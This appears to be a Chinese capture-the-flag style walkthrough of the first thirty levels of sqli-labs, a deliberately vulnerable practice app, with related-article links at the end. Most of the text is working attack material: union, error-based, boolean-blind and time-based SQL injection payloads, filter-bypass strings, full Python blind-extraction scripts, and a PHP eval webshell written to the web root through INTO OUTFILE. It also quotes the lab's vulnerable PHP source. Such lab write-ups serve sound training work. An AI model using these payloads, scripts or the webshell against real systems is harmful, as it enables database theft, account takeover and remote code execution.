Sqli_labs65关通关详解(上)

Less-1

这个题目是基于错误,单引号,字符型注入,

http://127.0.0.1/sqli/Less-1/?id=1' //报错

http://127.0.0.1/sqli/Less-1/?id=1' or '1'='1 //正常

可以通过单引号闭合进行注入。

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 //正常

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //报错

可以看出总共有三列,结合union查询。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 %23 //暴库

这里给出union联合查询的使用方法:

查数据库名:select database() //

查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA

爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA

查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65

information_schema.tables:存储mysql数据库下面的所有表名信息的表

table_schema:数据库名

Table_name:表名

查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572

column_name:列名

information_schema.columns :存储mysql数据库下面的所有列名信息的表

table_name:表名

查user表名下列名username,password的数据:

union select 1,username,password,4,5 from user

Less-2

数字型注入,不需要去闭合,给出payload:

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3

Less-3

http://127.0.0.1/sqli/Less-3/?id=1'

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

根据报错回显中可以知道需要去闭合()。

http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,database(),3 %23

Less-4

双引号闭合

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,database(),3 %23

Less-5

可以通过报错注入

http://127.0.0.1/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

也可以通过盲注,脚本如下

#Author:p0desta
import requests
import string
import sys
global findBit
import binascii
Flag_yes = "You are in"
def sendPayload(payload):
         url = 'http://127.0.0.1/sqli/Less-5/?id=1'+ payload
         content = requests.get(url).text
         return content
def findDatabaseNumber():
         count = 1
         while count:
                 payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if "You are in" in recv:
                          return count
                 else:
                          count += 1
def findTableNumber(dbname):
         count = 1
         dbname = '0x' + str(binascii.b2a_hex(dbname))
         while count:
                 payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def findColumnNumber(tableName):
         count = 1
         tableName = '0x' + str(binascii.b2a_hex(tableName))
         while count:
                 payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def findDataNumber(columnName,tableName):
         count = 1
         while count:
                 payload = "'AND (select count("+columnName+") from "+tableName+") ="
                 payload = payload + str(count) + "--+"
                 recv = sendPayload(payload)
                 if Flag_yes in recv:
                          return count
                 else:
                          count += 1
def getDatabaseName(dbNum):
         global findBit
         for k in range(dbNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchDbs(-1,255,i,k)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("`\r\n")
                                   break
def getTableName(tableNum,dbName):
         global findBit
         dbName = '0x' + str(binascii.b2a_hex(dbName))
         for k in range(tableNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchTable(-1,255,i,k,dbName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def getColumnName(columnNum,tableName):
         global findBit
         tableName = '0x' + str(binascii.b2a_hex(tableName))
         for k in range(columnNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchColumn(-1,255,i,k,tableName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def getDataName(dataNum,columnName,tableName):
         global findBit
         for k in range(dataNum):
                 i = 1
                 while i :
                          findBit = 0
                          doubleSearchData(-1,255,i,k,columnName,tableName)
                          i += 1
                          if findBit == 1:
                                   sys.stdout.write("\r\n")
                                   break
def doubleSearchDbs(leftNum,rightNum,i,k):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchDbs(midNum,rightNum,i,k)
                 else:
                          doubleSearchDbs(leftNum,midNum,i,k)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ASCII(substr((SELECT table_name  FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchTable(midNum,rightNum,i,k,dbName)
                 else:
                          doubleSearchTable(leftNum,midNum,i,k,dbName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchColumn(midNum,rightNum,i,k,tableName)
                 else:
                          doubleSearchColumn(leftNum,midNum,i,k,tableName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
                 recv = sendPayload(querysql)
                 if Flag_yes in recv:
                          doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
                 else:
                          doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def exp():
         dbNum = findDatabaseNumber()
         print "the number of database is "+str(dbNum)
         getDatabaseName(dbNum)
         dbName = raw_input('Find tables from :')
         tableNum = findTableNumber(dbName)
         print "the nameber of table is: " + str(tableNum)     
         getTableName(tableNum,dbName)
         tableName = raw_input('Find columns from :')
         columnNum = findColumnNumber(tableName)
         print "the number of column is: " + str(columnNum)
         getColumnName(columnNum,tableName)
         columnName = raw_input('Find data from :')
         dataNum = findDataNumber(columnName,tableName)
         print "the number of data is :" + str(dataNum)
         getDataName(dataNum,columnName,tableName)
exp()

Less-6

同上,改为双引号闭合。

Less-7

考查mysql对文件操作

限制:

  • 需要有读取文件的权限
  • 需要知道绝对物理路径

load_file()

这里需要注意对路径的转义。

+---------------------------+
| load_file("D://test.txt") |
+---------------------------+
| p0desta                   |
+---------------------------+
+--------------------------+
| load_file("D:/test.txt") |
+--------------------------+
| p0desta                  |
+--------------------------+
+---------------------------------------------------+
| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |
+---------------------------------------------------+
| p0desta                                                  |
+---------------------------------------------------+
+---------------------------------------+
| load_file(0x443A2F2F746573742E747874) |
+---------------------------------------+
| p0desta                               |
+---------------------------------------+

数据导出

mysql> select database() into outfile "D://phpstudy//www//1.txt";

ERROR 1086 (HY000): File 'D://phpstudy//www//1.txt' already exists

mysql> select database() into outfile "D://phpstudy//www//2.txt";

Query OK, 1 row affected (0.00 sec)

第一次写的时候1.txt已经存在,写入失败。

直接写webshell

mysql> select "<?php eval($_POST['p0desta'])?>" into outfile 'D:/phpstudy/WWW/p0desta.php';

Query OK, 1 row affected (0.00 sec)

Less-7

payload:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["p0desta"]) ?>' into outfile "D:\\phpstudy\\WWW\\shell.php" %23

Less-8

构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。

Less-9

基于时间的注入

写了两个简单的脚本:

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    print result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    if ll==len(result):
         print 'table_name:  '+result
         end = raw_input('-------------')
    ll = len(result)
    print result

Less-10

双引号闭合的盲注。

less-11

有回显,报错注入。

usernae = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

奉上我收藏的报错语句

1.通过floor报错,注入语句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3.通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4.通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5.通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6.通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7.通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8.通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9.通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10.通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11.通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12.通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

less-12

与上一关基本相同,区别在于

$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

payload如下

admin")and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-13

post数据:

uname=admin'&passwd=chybeta&submit=Submit

报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'chybeta') LIMIT 0,1' at line 1

根据报错语句可以猜测出闭合情况,代码如下

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

有报错,直接报错注入,闭合一下就OK。

less-14

与前面的区别就在于

$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

注意使用双引号闭合。

payload如下:

admin"and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-15

没有报错回显,闭合之后盲注。

可见构造了布尔条件,接下来写脚本跑一下就可以了。

less-16

跟上一关差不多,只不过闭合语句不同。

$uname='"'.$uname.'"';
         $passwd='"'.$passwd.'"';
         @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

脚本如下:

import requests
import string
import sys
global findBit
def sendPayload(payload):
         proxy = {"http":"http://127.0.0.1:8080"}
         url = "http://localhost:20000/sqllab/Less-16/index.php"
         data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
         headers = {"Content-Type": "application/x-www-form-urlencoded"}
         content = requests.post(url,data=data,headers=headers,proxies=proxy)
         return content.text
flag = "flag.jpg"
def generateTarget(flag):
         if flag == "database":
                 return "database()"
         elif flag == "tables":
                 return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
         elif flag == "columns":
                 return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
         elif flag == "data":
                 return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
         global findBit
         midNum = (leftNum + rightNum) / 2
         if (rightNum != leftNum +1):
                 payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
                 recv = sendPayload(payload)
                 if flag in recv:
                          doubleSearch(leftNum,midNum,i,target)
                 else:
                          doubleSearch(midNum,rightNum,i,target)
         else:
                 if rightNum != 0:
                          sys.stdout.write(chr(rightNum))
                          sys.stdout.flush()
                 else:
                          findBit = 1
                          return
def exp():
         global findBit
         i = 1
         findBit = 0
         print "The database:"
         target = "database"
         while i :
                 doubleSearch(-1,255,i,target)
                 i += 1
                 if findBit == 1:
                          sys.stdout.write("\r\n")
                          break
exp()

注意闭合一下然后构造布尔条件注入就可以。

less-17

function check_input($value)
         {
         if(!empty($value))
                 {
                 // truncation (see comments)
                 $value = substr($value,0,15);
                 }
                 // Stripslashes if magic quotes enabled
                 if (get_magic_quotes_gpc())
                          {
                          $value = stripslashes($value);
                          }
                 // Quote if not a number
                 if (!ctype_digit($value))
                          {
                          $value = "'" . mysql_real_escape_string($value) . "'";
                          }
         else
                 {
                 $value = intval($value);
                 }
         return $value;
         }
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); 
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。

less-18

这里就要用到burpsuite了,这三关都是考查对header头进行注入

$uname = check_input($_POST['uname']); 
    $passwd = check_input($_POST['passwd']);
uname和passwd都进行了过滤,在这里进行注入是行不通的。
$uagent = $_SERVER['HTTP_USER_AGENT']; 
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以可以利用构造User Agent进行注入。 这里推荐使用Burpsuite,毕竟是神器。

这里跟前面的报错情况就一样了,只不过构造的位置不同而已。

less-19

情况跟上面一样,只不过位置不同。

less-20

情况跟上面一样,只不过位置不同,不再赘述。

less 21

登陆账户,抓包发现

用户名经过base64编码传输,通过修改uname进行注入攻击。

admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#

报错。

代码分析

注入完研究一下代码,可以看到这里如果没有设置cookie的话

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
                 $result1 = mysql_query($sql);
                 $row1 = mysql_fetch_array($result1);

将用户名和密码代入数据库查询,查询到的话设置cookie

setcookie('uname', base64_encode($row1['username']), time()+3600);

username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。

payload:

uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=
</font>Issue with your mysql: XPATH syntax error: ':root@localhost'

less-22

使用双引号去闭合,直接用报错语句去注入

admin") and 1=(updatexml(1,concat(0x3a,(select user())),1))#

原来这个和21关不太一样,不需要)去闭合。

Cookie:

uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

less-23

使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1 报错

syntax to use near ''1'' LIMIT 0,1'

注释符号没法用了但是可以使用

id=-1' or '1'='1
payload:id=-1' union select 1,database(),'3

相当于

mysql> select * from users where id='-1' union select 1,database(),'3' limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | security | 3        |
+----+----------+----------+
1 row in set (0.06 sec)

less-24

首先根据正常思路走一步,然后找一下可能存在注入的地方

随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。 看一下代码

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

既然这样那么就可以通过控制username语句不执行判断password了。

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

首先注册一个账号插入数据库

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

如果注册账号为admin'#的话代入这个更新语句

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。

less-25

过滤了or和and。

双写可绕过

http://192.168.211.145/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23

function blacklist($id)
{
         $id= preg_replace('/or/i',"", $id);                   //strip out OR (non case sensitive)
         $id= preg_replace('/AND/i',"", $id);          //Strip out AND (non case sensitive)
         return $id;
}

查看代码发现只有一边过滤。

less-25a

这个题是25的拓展,加了盲注

http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

写个脚本跑一下就行了。

less-26

过滤的挺恶心的感觉

function blacklist($id)
{
         $id= preg_replace('/or/i',"", $id);                   //strip out OR (non case sensitive)
         $id= preg_replace('/and/i',"", $id);          //Strip out AND (non case sensitive)
         $id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
         $id= preg_replace('/[--]/',"", $id);          //Strip out --
         $id= preg_replace('/[#]/',"", $id);                   //Strip out #
         $id= preg_replace('/[\s]/',"", $id);          //Strip out spaces
         $id= preg_replace('/[\/\\\\]/',"", $id);               //Strip out slashes
         return $id;
}

可以使用没空格的报错注入

?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1

继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。

http://192.168.211.145/sqli/Less-26/?id=0'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1

XPATH syntax error: '\emails,referers,uagents,users'

less-26a

这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。

?id=0'||(select(substr((select(database())),1,1)))='s

less-27

经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。

http://192.168.211.145/sqli/Less-27/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。

less-27a

拓展的27关,改一下构造bool条件,写个脚本跑一下即可。

http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))='s

less-28

这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。

自己改了一下。

看一下过滤的的代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                                  //strip out /*
$id= preg_replace('/[--]/',"", $id);                           //Strip out --.
$id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                   //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                   //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);            //Strip out UNION & SELECT.
return $id;
}

如果报错注入的话直接用之前的payload就可以。

http://192.168.211.145/sqli/Less-28/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

但是如果就是去绕union select呢, payload如下

http://192.168.211.145/sqli/Less-28/?id=0')union(select%0d1,database(),'3

less-28a

这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。

less-29

这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。

function java_implimentation($query_string)
{
         $q_s = $query_string;
         $qs_array= explode("&",$q_s);
         foreach($qs_array as $key => $value)
         {
                 $val=substr($value,0,2);
                 if($val=="id")
                 {
                          $id_value=substr($value,3,30);
                          return $id_value;
                          echo "<br>";
                          break;
                 }
         }
}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
         $match = preg_match("/^\d+$/", $input);
         if($match)
         {
                 //echo "you are good";
                 //return $match;
         }
         else
         {       
                 header('Location: hacked.php');
                 //echo "you are bad";
         }
}
$qs = $_SERVER['QUERY_STRING'];
         $hint=$qs;
         $id1=java_implimentation($qs);
         $id=$_GET['id'];
         //echo $id1;
         whitelist($id1);

接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造

login.php?id=1&id=' union select 1,database(),3 --+

less-30

跟上题差不多,只不过双引号闭合。

http://192.168.211.145/sqli/Less-30/?id=1&id=" union select 1,database(),3 --+

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-01-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏乐沙弥的世界

FORALL 之 SAVE EXCEPTIONS 子句应用一例

     对于大批量的DML操作中出现的错误,除了使用DML error logging特性来记录在DML期间出现的错误之外,使用批量SQL语句FORALL的S...

661
来自专栏乐沙弥的世界

Oracle 角色、配置文件

增加或删除角色中的某一权限,被授予该角色的所有用户或角色自动地获得新增权限或删除旧的权限

892
来自专栏杨建荣的学习笔记

原来Oracle也不喜欢“蜀黍"(r6笔记第54天)

今天在部署一个脚本的时候,碰到了一个奇怪的问题,脚本运行过程中报了一个ora错误 ORA-01756: quoted string not properly t...

2795
来自专栏闻道于事

PL/SQL 编程(二)游标、存储过程、函数

游标--数据的缓存区 游标:类似集合,可以让用户像操作数组一样操作查询出来的数据集,实质上,它提供了一种从集合性质的结果中提取单条记录的手段。 可以将游标形象的...

4906
来自专栏乐沙弥的世界

dbms_xplan之display函数的使用

DBMS_XPLAN包包括一系列函数,主要是用于显示SQL语句的执行计划,且不同的情形下使用不同的函数来显示,如预估的执行计划则使用 displ...

1712
来自专栏数据小魔方

时间&日期函数

今天要跟大家简要介绍一下excel中经常会用到的日期与时间函数! 日期与时间类的函数虽然算所有函数中最难掌握的,但是因为格式众多,形式多样,而且作为其他高级函数...

3297
来自专栏张戈的专栏

MySQL错误修复记录:Table xx is marked as crashed and should be repaired

昨晚入睡后,收到松哥的 QQ 消息,说松松商城打开报错,于是手机 QQ 上打开了首页地址,发现有如下报错: ? MySQL server error repor...

43011
来自专栏杨建荣的学习笔记

使用awk来解析dump文件 (73天)

dump文件是平时工作中经常碰见的,有时候得到一个dump,但是没有提供一些更多的信息,导入的时候就很可能会有问题。 如果某个用户默认表空间是user,但是du...

4158
来自专栏乐沙弥的世界

使用datapump 导出导入同义词(export and import synonym using datapump)

      对于同义词的备份我们有多种方式来实现,如直接通过脚本生成同义词的创建脚本,或者使用dbms_metadata.get_ddl来提取同义词的定义脚本。...

1013
来自专栏杨建荣的学习笔记

ORA-01427问题的分析和解决(r6笔记第51天)

前几天开发的同事反馈一个问题,说前台系统报出了ORA错误,希望我们能看看是什么原因。 java.sql.SQLException: ORA-01427: sin...

2744

扫码关注云+社区

领取腾讯云代金券